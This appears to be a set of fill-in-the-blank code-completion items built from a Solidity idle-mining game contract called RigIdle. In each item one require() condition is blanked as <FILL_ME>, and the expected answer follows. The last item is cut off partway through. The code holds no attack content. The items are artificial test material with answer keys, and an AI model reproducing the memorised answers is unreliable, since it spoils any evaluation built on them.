(uint256 money, uint256 lastupdate, uint256 prodPerSec,
uint256[9] rigs, uint[3] upgrades, uint256 unclaimedPot, bool hasBooster, uint256 unconfirmedMoney)
{
}
function GetTotalMinerCount() public constant returns (uint256 count)
{
}
function GetMinerAt(uint256 idx) public constant returns (address minerAddr)
{
}
function GetPotInfo() public constant returns (uint256 _honeyPotAmount, uint256 _devFunds, uint256 _jackPot, uint256 _nextDistributionTime)
{
}
function GetProductionPerSecond(address minerAddr) public constant returns (uint256 personalProduction)
{
}
function GetGlobalProduction() public constant returns (uint256 globalMoney, uint256 globalHashRate)
{
}
function GetBoosterData() public constant returns (address[5] _boosterHolders, uint256 currentPrice, uint256 currentIndex)
{
}
function HasBooster(address addr) public constant returns (bool hasBoost)
{
}
function GetPVPData(address addr) public constant returns (uint256 attackpower, uint256 defensepower, uint256 immunityTime, uint256 exhaustTime,
uint256[6] troops)
{
}
function GetCurrentICOCycle() public constant returns (uint256)
{
}
function GetICOData(uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOPot)
{
}
function GetMinerICOData(address miner, uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOShare, uint256 lastClaimIndex)
{
}
function GetMinerUnclaimedICOShare(address miner) public constant returns (uint256 unclaimedPot)
{
}
// -------------------------------------------------------------------------
// RigWars game handler functions
// -------------------------------------------------------------------------
function StartNewMiner() external
{
require(<FILL_ME>)
miners[msg.sender].lastUpdateTime = block.timestamp;
miners[msg.sender].money = 0;
miners[msg.sender].rigs[0] = 1;
miners[msg.sender].unclaimedPot = 0;
miners[msg.sender].lastPotClaimIndex = cycleCount;
pvpMap[msg.sender].immunityTime = block.timestamp + 28800;
pvpMap[msg.sender].exhaustTime = block.timestamp;
indexes[topindex] = msg.sender;
++topindex;
}
function UpgradeRig(uint8 rigIdx, uint16 count) external
{
}
function UpgradeRigETH(uint8 rigIdx, uint256 count) external payable
{
}
function UpdateMoney() private
{
}
function UpdateMoneyAt(address addr) private
{
}
function BuyUpgrade(uint256 idx) external payable
{
}
//--------------------------------------------------------------------------
// BOOSTER handlers
//--------------------------------------------------------------------------
function BuyBooster() external payable
{
}
//--------------------------------------------------------------------------
// PVP handler
//--------------------------------------------------------------------------
// 0 for attacker 1 for defender
function BuyTroop(uint256 idx, uint256 count) external payable
{
}
function Attack(address defenderAddr) external
{
}
//--------------------------------------------------------------------------
// ICO/Pot share functions
//--------------------------------------------------------------------------
function ReleaseICO() external
{
}
function FundICO(uint amount) external
{
}
function WithdrawICOEarnings() external
{
}
//--------------------------------------------------------------------------
// ETH handler functions
//--------------------------------------------------------------------------
function BuyHandler(uint amount) private
{
}
function WithdrawPotShare() public
{
}
function WithdrawDevFunds() public
{
}
// fallback payment to pot
function() public payable {
}
}
| miners[msg.sender].lastUpdateTime==0 | 340,914 | miners[msg.sender].lastUpdateTime==0 |
null | pragma solidity ^0.4.18;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
}
library NumericSequence
{
using SafeMath for uint256;
function sumOfN(uint256 basePrice, uint256 pricePerLevel, uint256 owned, uint256 count) internal pure returns (uint256 price)
{
}
}
//-----------------------------------------------------------------------
contract RigIdle {
using NumericSequence for uint;
using SafeMath for uint;
struct MinerData
{
uint256[9] rigs; // rig types and their upgrades
uint8[3] hasUpgrade;
uint256 money;
uint256 lastUpdateTime;
uint256 premamentMineBonusPct;
uint256 unclaimedPot;
uint256 lastPotClaimIndex;
}
struct RigData
{
uint256 basePrice;
uint256 baseOutput;
uint256 pricePerLevel;
uint256 priceInETH;
uint256 limit;
}
struct BoostData
{
uint256 percentBonus;
uint256 priceInWEI;
}
struct PVPData
{
uint256[6] troops;
uint256 immunityTime;
uint256 exhaustTime;
}
struct TroopData
{
uint256 attackPower;
uint256 defensePower;
uint256 priceGold;
uint256 priceETH;
}
uint8 private constant NUMBER_OF_RIG_TYPES = 9;
RigData[9] private rigData;
uint8 private constant NUMBER_OF_UPGRADES = 3;
BoostData[3] private boostData;
uint8 private constant NUMBER_OF_TROOPS = 6;
uint8 private constant ATTACKER_START_IDX = 0;
uint8 private constant ATTACKER_END_IDX = 3;
uint8 private constant DEFENDER_START_IDX = 3;
uint8 private constant DEFENDER_END_IDX = 6;
TroopData[6] private troopData;
// honey pot variables
uint256 private honeyPotAmount;
uint256 private honeyPotSharePct; // 90%
uint256 private jackPot;
uint256 private devFund;
uint256 private nextPotDistributionTime;
mapping(address => mapping(uint256 => uint256)) private minerICOPerCycle;
uint256[] private honeyPotPerCycle;
uint256[] private globalICOPerCycle;
uint256 private cycleCount;
//booster info
uint256 private constant NUMBER_OF_BOOSTERS = 5;
uint256 private boosterIndex;
uint256 private nextBoosterPrice;
address[5] private boosterHolders;
mapping(address => MinerData) private miners;
mapping(address => PVPData) private pvpMap;
mapping(uint256 => address) private indexes;
uint256 private topindex;
address private owner;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function RigIdle() public {
}
//--------------------------------------------------------------------------
// Data access functions
//--------------------------------------------------------------------------
function GetMinerData(address minerAddr) public constant returns
(uint256 money, uint256 lastupdate, uint256 prodPerSec,
uint256[9] rigs, uint[3] upgrades, uint256 unclaimedPot, bool hasBooster, uint256 unconfirmedMoney)
{
}
function GetTotalMinerCount() public constant returns (uint256 count)
{
}
function GetMinerAt(uint256 idx) public constant returns (address minerAddr)
{
}
function GetPotInfo() public constant returns (uint256 _honeyPotAmount, uint256 _devFunds, uint256 _jackPot, uint256 _nextDistributionTime)
{
}
function GetProductionPerSecond(address minerAddr) public constant returns (uint256 personalProduction)
{
}
function GetGlobalProduction() public constant returns (uint256 globalMoney, uint256 globalHashRate)
{
}
function GetBoosterData() public constant returns (address[5] _boosterHolders, uint256 currentPrice, uint256 currentIndex)
{
}
function HasBooster(address addr) public constant returns (bool hasBoost)
{
}
function GetPVPData(address addr) public constant returns (uint256 attackpower, uint256 defensepower, uint256 immunityTime, uint256 exhaustTime,
uint256[6] troops)
{
}
function GetCurrentICOCycle() public constant returns (uint256)
{
}
function GetICOData(uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOPot)
{
}
function GetMinerICOData(address miner, uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOShare, uint256 lastClaimIndex)
{
}
function GetMinerUnclaimedICOShare(address miner) public constant returns (uint256 unclaimedPot)
{
}
// -------------------------------------------------------------------------
// RigWars game handler functions
// -------------------------------------------------------------------------
function StartNewMiner() external
{
}
function UpgradeRig(uint8 rigIdx, uint16 count) external
{
require(rigIdx < NUMBER_OF_RIG_TYPES);
require(count > 0);
require(count <= 256);
MinerData storage m = miners[msg.sender];
require(<FILL_ME>)
UpdateMoney();
// the base of geometrical sequence
uint256 price = NumericSequence.sumOfN(rigData[rigIdx].basePrice, rigData[rigIdx].pricePerLevel, m.rigs[rigIdx], count);
require(m.money >= price);
m.rigs[rigIdx] = m.rigs[rigIdx] + count;
if(m.rigs[rigIdx] > rigData[rigIdx].limit)
m.rigs[rigIdx] = rigData[rigIdx].limit;
m.money -= price;
}
function UpgradeRigETH(uint8 rigIdx, uint256 count) external payable
{
}
function UpdateMoney() private
{
}
function UpdateMoneyAt(address addr) private
{
}
function BuyUpgrade(uint256 idx) external payable
{
}
//--------------------------------------------------------------------------
// BOOSTER handlers
//--------------------------------------------------------------------------
function BuyBooster() external payable
{
}
//--------------------------------------------------------------------------
// PVP handler
//--------------------------------------------------------------------------
// 0 for attacker 1 for defender
function BuyTroop(uint256 idx, uint256 count) external payable
{
}
function Attack(address defenderAddr) external
{
}
//--------------------------------------------------------------------------
// ICO/Pot share functions
//--------------------------------------------------------------------------
function ReleaseICO() external
{
}
function FundICO(uint amount) external
{
}
function WithdrawICOEarnings() external
{
}
//--------------------------------------------------------------------------
// ETH handler functions
//--------------------------------------------------------------------------
function BuyHandler(uint amount) private
{
}
function WithdrawPotShare() public
{
}
function WithdrawDevFunds() public
{
}
// fallback payment to pot
function() public payable {
}
}
| rigData[rigIdx].limit>=(m.rigs[rigIdx]+count) | 340,914 | rigData[rigIdx].limit>=(m.rigs[rigIdx]+count) |
null | pragma solidity ^0.4.18;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
}
library NumericSequence
{
using SafeMath for uint256;
function sumOfN(uint256 basePrice, uint256 pricePerLevel, uint256 owned, uint256 count) internal pure returns (uint256 price)
{
}
}
//-----------------------------------------------------------------------
contract RigIdle {
using NumericSequence for uint;
using SafeMath for uint;
struct MinerData
{
uint256[9] rigs; // rig types and their upgrades
uint8[3] hasUpgrade;
uint256 money;
uint256 lastUpdateTime;
uint256 premamentMineBonusPct;
uint256 unclaimedPot;
uint256 lastPotClaimIndex;
}
struct RigData
{
uint256 basePrice;
uint256 baseOutput;
uint256 pricePerLevel;
uint256 priceInETH;
uint256 limit;
}
struct BoostData
{
uint256 percentBonus;
uint256 priceInWEI;
}
struct PVPData
{
uint256[6] troops;
uint256 immunityTime;
uint256 exhaustTime;
}
struct TroopData
{
uint256 attackPower;
uint256 defensePower;
uint256 priceGold;
uint256 priceETH;
}
uint8 private constant NUMBER_OF_RIG_TYPES = 9;
RigData[9] private rigData;
uint8 private constant NUMBER_OF_UPGRADES = 3;
BoostData[3] private boostData;
uint8 private constant NUMBER_OF_TROOPS = 6;
uint8 private constant ATTACKER_START_IDX = 0;
uint8 private constant ATTACKER_END_IDX = 3;
uint8 private constant DEFENDER_START_IDX = 3;
uint8 private constant DEFENDER_END_IDX = 6;
TroopData[6] private troopData;
// honey pot variables
uint256 private honeyPotAmount;
uint256 private honeyPotSharePct; // 90%
uint256 private jackPot;
uint256 private devFund;
uint256 private nextPotDistributionTime;
mapping(address => mapping(uint256 => uint256)) private minerICOPerCycle;
uint256[] private honeyPotPerCycle;
uint256[] private globalICOPerCycle;
uint256 private cycleCount;
//booster info
uint256 private constant NUMBER_OF_BOOSTERS = 5;
uint256 private boosterIndex;
uint256 private nextBoosterPrice;
address[5] private boosterHolders;
mapping(address => MinerData) private miners;
mapping(address => PVPData) private pvpMap;
mapping(uint256 => address) private indexes;
uint256 private topindex;
address private owner;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function RigIdle() public {
}
//--------------------------------------------------------------------------
// Data access functions
//--------------------------------------------------------------------------
function GetMinerData(address minerAddr) public constant returns
(uint256 money, uint256 lastupdate, uint256 prodPerSec,
uint256[9] rigs, uint[3] upgrades, uint256 unclaimedPot, bool hasBooster, uint256 unconfirmedMoney)
{
}
function GetTotalMinerCount() public constant returns (uint256 count)
{
}
function GetMinerAt(uint256 idx) public constant returns (address minerAddr)
{
}
function GetPotInfo() public constant returns (uint256 _honeyPotAmount, uint256 _devFunds, uint256 _jackPot, uint256 _nextDistributionTime)
{
}
function GetProductionPerSecond(address minerAddr) public constant returns (uint256 personalProduction)
{
}
function GetGlobalProduction() public constant returns (uint256 globalMoney, uint256 globalHashRate)
{
}
function GetBoosterData() public constant returns (address[5] _boosterHolders, uint256 currentPrice, uint256 currentIndex)
{
}
function HasBooster(address addr) public constant returns (bool hasBoost)
{
}
function GetPVPData(address addr) public constant returns (uint256 attackpower, uint256 defensepower, uint256 immunityTime, uint256 exhaustTime,
uint256[6] troops)
{
}
function GetCurrentICOCycle() public constant returns (uint256)
{
}
function GetICOData(uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOPot)
{
}
function GetMinerICOData(address miner, uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOShare, uint256 lastClaimIndex)
{
}
function GetMinerUnclaimedICOShare(address miner) public constant returns (uint256 unclaimedPot)
{
}
// -------------------------------------------------------------------------
// RigWars game handler functions
// -------------------------------------------------------------------------
function StartNewMiner() external
{
}
function UpgradeRig(uint8 rigIdx, uint16 count) external
{
}
function UpgradeRigETH(uint8 rigIdx, uint256 count) external payable
{
require(rigIdx < NUMBER_OF_RIG_TYPES);
require(count > 0);
require(count <= 256);
require(<FILL_ME>)
MinerData storage m = miners[msg.sender];
require(rigData[rigIdx].limit >= (m.rigs[rigIdx] + count));
uint256 price = (rigData[rigIdx].priceInETH).mul(count);
require(msg.value >= price);
BuyHandler(msg.value);
UpdateMoney();
m.rigs[rigIdx] = m.rigs[rigIdx] + count;
if(m.rigs[rigIdx] > rigData[rigIdx].limit)
m.rigs[rigIdx] = rigData[rigIdx].limit;
}
function UpdateMoney() private
{
}
function UpdateMoneyAt(address addr) private
{
}
function BuyUpgrade(uint256 idx) external payable
{
}
//--------------------------------------------------------------------------
// BOOSTER handlers
//--------------------------------------------------------------------------
function BuyBooster() external payable
{
}
//--------------------------------------------------------------------------
// PVP handler
//--------------------------------------------------------------------------
// 0 for attacker 1 for defender
function BuyTroop(uint256 idx, uint256 count) external payable
{
}
function Attack(address defenderAddr) external
{
}
//--------------------------------------------------------------------------
// ICO/Pot share functions
//--------------------------------------------------------------------------
function ReleaseICO() external
{
}
function FundICO(uint amount) external
{
}
function WithdrawICOEarnings() external
{
}
//--------------------------------------------------------------------------
// ETH handler functions
//--------------------------------------------------------------------------
function BuyHandler(uint amount) private
{
}
function WithdrawPotShare() public
{
}
function WithdrawDevFunds() public
{
}
// fallback payment to pot
function() public payable {
}
}
| rigData[rigIdx].priceInETH>0 | 340,914 | rigData[rigIdx].priceInETH>0 |
null | pragma solidity ^0.4.18;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
}
library NumericSequence
{
using SafeMath for uint256;
function sumOfN(uint256 basePrice, uint256 pricePerLevel, uint256 owned, uint256 count) internal pure returns (uint256 price)
{
}
}
//-----------------------------------------------------------------------
contract RigIdle {
using NumericSequence for uint;
using SafeMath for uint;
struct MinerData
{
uint256[9] rigs; // rig types and their upgrades
uint8[3] hasUpgrade;
uint256 money;
uint256 lastUpdateTime;
uint256 premamentMineBonusPct;
uint256 unclaimedPot;
uint256 lastPotClaimIndex;
}
struct RigData
{
uint256 basePrice;
uint256 baseOutput;
uint256 pricePerLevel;
uint256 priceInETH;
uint256 limit;
}
struct BoostData
{
uint256 percentBonus;
uint256 priceInWEI;
}
struct PVPData
{
uint256[6] troops;
uint256 immunityTime;
uint256 exhaustTime;
}
struct TroopData
{
uint256 attackPower;
uint256 defensePower;
uint256 priceGold;
uint256 priceETH;
}
uint8 private constant NUMBER_OF_RIG_TYPES = 9;
RigData[9] private rigData;
uint8 private constant NUMBER_OF_UPGRADES = 3;
BoostData[3] private boostData;
uint8 private constant NUMBER_OF_TROOPS = 6;
uint8 private constant ATTACKER_START_IDX = 0;
uint8 private constant ATTACKER_END_IDX = 3;
uint8 private constant DEFENDER_START_IDX = 3;
uint8 private constant DEFENDER_END_IDX = 6;
TroopData[6] private troopData;
// honey pot variables
uint256 private honeyPotAmount;
uint256 private honeyPotSharePct; // 90%
uint256 private jackPot;
uint256 private devFund;
uint256 private nextPotDistributionTime;
mapping(address => mapping(uint256 => uint256)) private minerICOPerCycle;
uint256[] private honeyPotPerCycle;
uint256[] private globalICOPerCycle;
uint256 private cycleCount;
//booster info
uint256 private constant NUMBER_OF_BOOSTERS = 5;
uint256 private boosterIndex;
uint256 private nextBoosterPrice;
address[5] private boosterHolders;
mapping(address => MinerData) private miners;
mapping(address => PVPData) private pvpMap;
mapping(uint256 => address) private indexes;
uint256 private topindex;
address private owner;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function RigIdle() public {
}
//--------------------------------------------------------------------------
// Data access functions
//--------------------------------------------------------------------------
function GetMinerData(address minerAddr) public constant returns
(uint256 money, uint256 lastupdate, uint256 prodPerSec,
uint256[9] rigs, uint[3] upgrades, uint256 unclaimedPot, bool hasBooster, uint256 unconfirmedMoney)
{
}
function GetTotalMinerCount() public constant returns (uint256 count)
{
}
function GetMinerAt(uint256 idx) public constant returns (address minerAddr)
{
}
function GetPotInfo() public constant returns (uint256 _honeyPotAmount, uint256 _devFunds, uint256 _jackPot, uint256 _nextDistributionTime)
{
}
function GetProductionPerSecond(address minerAddr) public constant returns (uint256 personalProduction)
{
}
function GetGlobalProduction() public constant returns (uint256 globalMoney, uint256 globalHashRate)
{
}
function GetBoosterData() public constant returns (address[5] _boosterHolders, uint256 currentPrice, uint256 currentIndex)
{
}
function HasBooster(address addr) public constant returns (bool hasBoost)
{
}
function GetPVPData(address addr) public constant returns (uint256 attackpower, uint256 defensepower, uint256 immunityTime, uint256 exhaustTime,
uint256[6] troops)
{
}
function GetCurrentICOCycle() public constant returns (uint256)
{
}
function GetICOData(uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOPot)
{
}
function GetMinerICOData(address miner, uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOShare, uint256 lastClaimIndex)
{
}
function GetMinerUnclaimedICOShare(address miner) public constant returns (uint256 unclaimedPot)
{
}
// -------------------------------------------------------------------------
// RigWars game handler functions
// -------------------------------------------------------------------------
function StartNewMiner() external
{
}
function UpgradeRig(uint8 rigIdx, uint16 count) external
{
}
function UpgradeRigETH(uint8 rigIdx, uint256 count) external payable
{
}
function UpdateMoney() private
{
require(<FILL_ME>)
require(block.timestamp >= miners[msg.sender].lastUpdateTime);
MinerData storage m = miners[msg.sender];
uint256 diff = block.timestamp - m.lastUpdateTime;
uint256 revenue = GetProductionPerSecond(msg.sender);
m.lastUpdateTime = block.timestamp;
if(revenue > 0)
{
revenue *= diff;
m.money += revenue;
}
}
function UpdateMoneyAt(address addr) private
{
}
function BuyUpgrade(uint256 idx) external payable
{
}
//--------------------------------------------------------------------------
// BOOSTER handlers
//--------------------------------------------------------------------------
function BuyBooster() external payable
{
}
//--------------------------------------------------------------------------
// PVP handler
//--------------------------------------------------------------------------
// 0 for attacker 1 for defender
function BuyTroop(uint256 idx, uint256 count) external payable
{
}
function Attack(address defenderAddr) external
{
}
//--------------------------------------------------------------------------
// ICO/Pot share functions
//--------------------------------------------------------------------------
function ReleaseICO() external
{
}
function FundICO(uint amount) external
{
}
function WithdrawICOEarnings() external
{
}
//--------------------------------------------------------------------------
// ETH handler functions
//--------------------------------------------------------------------------
function BuyHandler(uint amount) private
{
}
function WithdrawPotShare() public
{
}
function WithdrawDevFunds() public
{
}
// fallback payment to pot
function() public payable {
}
}
| miners[msg.sender].lastUpdateTime!=0 | 340,914 | miners[msg.sender].lastUpdateTime!=0 |
null | pragma solidity ^0.4.18;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
}
library NumericSequence
{
using SafeMath for uint256;
function sumOfN(uint256 basePrice, uint256 pricePerLevel, uint256 owned, uint256 count) internal pure returns (uint256 price)
{
}
}
//-----------------------------------------------------------------------
contract RigIdle {
using NumericSequence for uint;
using SafeMath for uint;
struct MinerData
{
uint256[9] rigs; // rig types and their upgrades
uint8[3] hasUpgrade;
uint256 money;
uint256 lastUpdateTime;
uint256 premamentMineBonusPct;
uint256 unclaimedPot;
uint256 lastPotClaimIndex;
}
struct RigData
{
uint256 basePrice;
uint256 baseOutput;
uint256 pricePerLevel;
uint256 priceInETH;
uint256 limit;
}
struct BoostData
{
uint256 percentBonus;
uint256 priceInWEI;
}
struct PVPData
{
uint256[6] troops;
uint256 immunityTime;
uint256 exhaustTime;
}
struct TroopData
{
uint256 attackPower;
uint256 defensePower;
uint256 priceGold;
uint256 priceETH;
}
uint8 private constant NUMBER_OF_RIG_TYPES = 9;
RigData[9] private rigData;
uint8 private constant NUMBER_OF_UPGRADES = 3;
BoostData[3] private boostData;
uint8 private constant NUMBER_OF_TROOPS = 6;
uint8 private constant ATTACKER_START_IDX = 0;
uint8 private constant ATTACKER_END_IDX = 3;
uint8 private constant DEFENDER_START_IDX = 3;
uint8 private constant DEFENDER_END_IDX = 6;
TroopData[6] private troopData;
// honey pot variables
uint256 private honeyPotAmount;
uint256 private honeyPotSharePct; // 90%
uint256 private jackPot;
uint256 private devFund;
uint256 private nextPotDistributionTime;
mapping(address => mapping(uint256 => uint256)) private minerICOPerCycle;
uint256[] private honeyPotPerCycle;
uint256[] private globalICOPerCycle;
uint256 private cycleCount;
//booster info
uint256 private constant NUMBER_OF_BOOSTERS = 5;
uint256 private boosterIndex;
uint256 private nextBoosterPrice;
address[5] private boosterHolders;
mapping(address => MinerData) private miners;
mapping(address => PVPData) private pvpMap;
mapping(uint256 => address) private indexes;
uint256 private topindex;
address private owner;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function RigIdle() public {
}
//--------------------------------------------------------------------------
// Data access functions
//--------------------------------------------------------------------------
function GetMinerData(address minerAddr) public constant returns
(uint256 money, uint256 lastupdate, uint256 prodPerSec,
uint256[9] rigs, uint[3] upgrades, uint256 unclaimedPot, bool hasBooster, uint256 unconfirmedMoney)
{
}
function GetTotalMinerCount() public constant returns (uint256 count)
{
}
function GetMinerAt(uint256 idx) public constant returns (address minerAddr)
{
}
function GetPotInfo() public constant returns (uint256 _honeyPotAmount, uint256 _devFunds, uint256 _jackPot, uint256 _nextDistributionTime)
{
}
function GetProductionPerSecond(address minerAddr) public constant returns (uint256 personalProduction)
{
}
function GetGlobalProduction() public constant returns (uint256 globalMoney, uint256 globalHashRate)
{
}
function GetBoosterData() public constant returns (address[5] _boosterHolders, uint256 currentPrice, uint256 currentIndex)
{
}
function HasBooster(address addr) public constant returns (bool hasBoost)
{
}
function GetPVPData(address addr) public constant returns (uint256 attackpower, uint256 defensepower, uint256 immunityTime, uint256 exhaustTime,
uint256[6] troops)
{
}
function GetCurrentICOCycle() public constant returns (uint256)
{
}
function GetICOData(uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOPot)
{
}
function GetMinerICOData(address miner, uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOShare, uint256 lastClaimIndex)
{
}
function GetMinerUnclaimedICOShare(address miner) public constant returns (uint256 unclaimedPot)
{
}
// -------------------------------------------------------------------------
// RigWars game handler functions
// -------------------------------------------------------------------------
function StartNewMiner() external
{
}
function UpgradeRig(uint8 rigIdx, uint16 count) external
{
}
function UpgradeRigETH(uint8 rigIdx, uint256 count) external payable
{
}
function UpdateMoney() private
{
}
function UpdateMoneyAt(address addr) private
{
require(<FILL_ME>)
require(block.timestamp >= miners[addr].lastUpdateTime);
MinerData storage m = miners[addr];
uint256 diff = block.timestamp - m.lastUpdateTime;
uint256 revenue = GetProductionPerSecond(addr);
m.lastUpdateTime = block.timestamp;
if(revenue > 0)
{
revenue *= diff;
m.money += revenue;
}
}
function BuyUpgrade(uint256 idx) external payable
{
}
//--------------------------------------------------------------------------
// BOOSTER handlers
//--------------------------------------------------------------------------
function BuyBooster() external payable
{
}
//--------------------------------------------------------------------------
// PVP handler
//--------------------------------------------------------------------------
// 0 for attacker 1 for defender
function BuyTroop(uint256 idx, uint256 count) external payable
{
}
function Attack(address defenderAddr) external
{
}
//--------------------------------------------------------------------------
// ICO/Pot share functions
//--------------------------------------------------------------------------
function ReleaseICO() external
{
}
function FundICO(uint amount) external
{
}
function WithdrawICOEarnings() external
{
}
//--------------------------------------------------------------------------
// ETH handler functions
//--------------------------------------------------------------------------
function BuyHandler(uint amount) private
{
}
function WithdrawPotShare() public
{
}
function WithdrawDevFunds() public
{
}
// fallback payment to pot
function() public payable {
}
}
| miners[addr].lastUpdateTime!=0 | 340,914 | miners[addr].lastUpdateTime!=0 |
null | pragma solidity ^0.4.18;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
}
library NumericSequence
{
using SafeMath for uint256;
function sumOfN(uint256 basePrice, uint256 pricePerLevel, uint256 owned, uint256 count) internal pure returns (uint256 price)
{
}
}
//-----------------------------------------------------------------------
contract RigIdle {
using NumericSequence for uint;
using SafeMath for uint;
struct MinerData
{
uint256[9] rigs; // rig types and their upgrades
uint8[3] hasUpgrade;
uint256 money;
uint256 lastUpdateTime;
uint256 premamentMineBonusPct;
uint256 unclaimedPot;
uint256 lastPotClaimIndex;
}
struct RigData
{
uint256 basePrice;
uint256 baseOutput;
uint256 pricePerLevel;
uint256 priceInETH;
uint256 limit;
}
struct BoostData
{
uint256 percentBonus;
uint256 priceInWEI;
}
struct PVPData
{
uint256[6] troops;
uint256 immunityTime;
uint256 exhaustTime;
}
struct TroopData
{
uint256 attackPower;
uint256 defensePower;
uint256 priceGold;
uint256 priceETH;
}
uint8 private constant NUMBER_OF_RIG_TYPES = 9;
RigData[9] private rigData;
uint8 private constant NUMBER_OF_UPGRADES = 3;
BoostData[3] private boostData;
uint8 private constant NUMBER_OF_TROOPS = 6;
uint8 private constant ATTACKER_START_IDX = 0;
uint8 private constant ATTACKER_END_IDX = 3;
uint8 private constant DEFENDER_START_IDX = 3;
uint8 private constant DEFENDER_END_IDX = 6;
TroopData[6] private troopData;
// honey pot variables
uint256 private honeyPotAmount;
uint256 private honeyPotSharePct; // 90%
uint256 private jackPot;
uint256 private devFund;
uint256 private nextPotDistributionTime;
mapping(address => mapping(uint256 => uint256)) private minerICOPerCycle;
uint256[] private honeyPotPerCycle;
uint256[] private globalICOPerCycle;
uint256 private cycleCount;
//booster info
uint256 private constant NUMBER_OF_BOOSTERS = 5;
uint256 private boosterIndex;
uint256 private nextBoosterPrice;
address[5] private boosterHolders;
mapping(address => MinerData) private miners;
mapping(address => PVPData) private pvpMap;
mapping(uint256 => address) private indexes;
uint256 private topindex;
address private owner;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function RigIdle() public {
}
//--------------------------------------------------------------------------
// Data access functions
//--------------------------------------------------------------------------
function GetMinerData(address minerAddr) public constant returns
(uint256 money, uint256 lastupdate, uint256 prodPerSec,
uint256[9] rigs, uint[3] upgrades, uint256 unclaimedPot, bool hasBooster, uint256 unconfirmedMoney)
{
}
function GetTotalMinerCount() public constant returns (uint256 count)
{
}
function GetMinerAt(uint256 idx) public constant returns (address minerAddr)
{
}
function GetPotInfo() public constant returns (uint256 _honeyPotAmount, uint256 _devFunds, uint256 _jackPot, uint256 _nextDistributionTime)
{
}
function GetProductionPerSecond(address minerAddr) public constant returns (uint256 personalProduction)
{
}
function GetGlobalProduction() public constant returns (uint256 globalMoney, uint256 globalHashRate)
{
}
function GetBoosterData() public constant returns (address[5] _boosterHolders, uint256 currentPrice, uint256 currentIndex)
{
}
function HasBooster(address addr) public constant returns (bool hasBoost)
{
}
function GetPVPData(address addr) public constant returns (uint256 attackpower, uint256 defensepower, uint256 immunityTime, uint256 exhaustTime,
uint256[6] troops)
{
}
function GetCurrentICOCycle() public constant returns (uint256)
{
}
function GetICOData(uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOPot)
{
}
function GetMinerICOData(address miner, uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOShare, uint256 lastClaimIndex)
{
}
function GetMinerUnclaimedICOShare(address miner) public constant returns (uint256 unclaimedPot)
{
}
// -------------------------------------------------------------------------
// RigWars game handler functions
// -------------------------------------------------------------------------
function StartNewMiner() external
{
}
function UpgradeRig(uint8 rigIdx, uint16 count) external
{
}
function UpgradeRigETH(uint8 rigIdx, uint256 count) external payable
{
}
function UpdateMoney() private
{
}
function UpdateMoneyAt(address addr) private
{
}
function BuyUpgrade(uint256 idx) external payable
{
require(idx < NUMBER_OF_UPGRADES);
require(msg.value >= boostData[idx].priceInWEI);
require(<FILL_ME>)
require(miners[msg.sender].lastUpdateTime != 0);
BuyHandler(msg.value);
UpdateMoney();
miners[msg.sender].hasUpgrade[idx] = 1;
miners[msg.sender].premamentMineBonusPct += boostData[idx].percentBonus;
}
//--------------------------------------------------------------------------
// BOOSTER handlers
//--------------------------------------------------------------------------
function BuyBooster() external payable
{
}
//--------------------------------------------------------------------------
// PVP handler
//--------------------------------------------------------------------------
// 0 for attacker 1 for defender
function BuyTroop(uint256 idx, uint256 count) external payable
{
}
function Attack(address defenderAddr) external
{
}
//--------------------------------------------------------------------------
// ICO/Pot share functions
//--------------------------------------------------------------------------
function ReleaseICO() external
{
}
function FundICO(uint amount) external
{
}
function WithdrawICOEarnings() external
{
}
//--------------------------------------------------------------------------
// ETH handler functions
//--------------------------------------------------------------------------
function BuyHandler(uint amount) private
{
}
function WithdrawPotShare() public
{
}
function WithdrawDevFunds() public
{
}
// fallback payment to pot
function() public payable {
}
}
| miners[msg.sender].hasUpgrade[idx]==0 | 340,914 | miners[msg.sender].hasUpgrade[idx]==0 |
null | pragma solidity ^0.4.18;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
}
}
library NumericSequence
{
using SafeMath for uint256;
function sumOfN(uint256 basePrice, uint256 pricePerLevel, uint256 owned, uint256 count) internal pure returns (uint256 price)
{
}
}
//-----------------------------------------------------------------------
contract RigIdle {
using NumericSequence for uint;
using SafeMath for uint;
struct MinerData
{
uint256[9] rigs; // rig types and their upgrades
uint8[3] hasUpgrade;
uint256 money;
uint256 lastUpdateTime;
uint256 premamentMineBonusPct;
uint256 unclaimedPot;
uint256 lastPotClaimIndex;
}
struct RigData
{
uint256 basePrice;
uint256 baseOutput;
uint256 pricePerLevel;
uint256 priceInETH;
uint256 limit;
}
struct BoostData
{
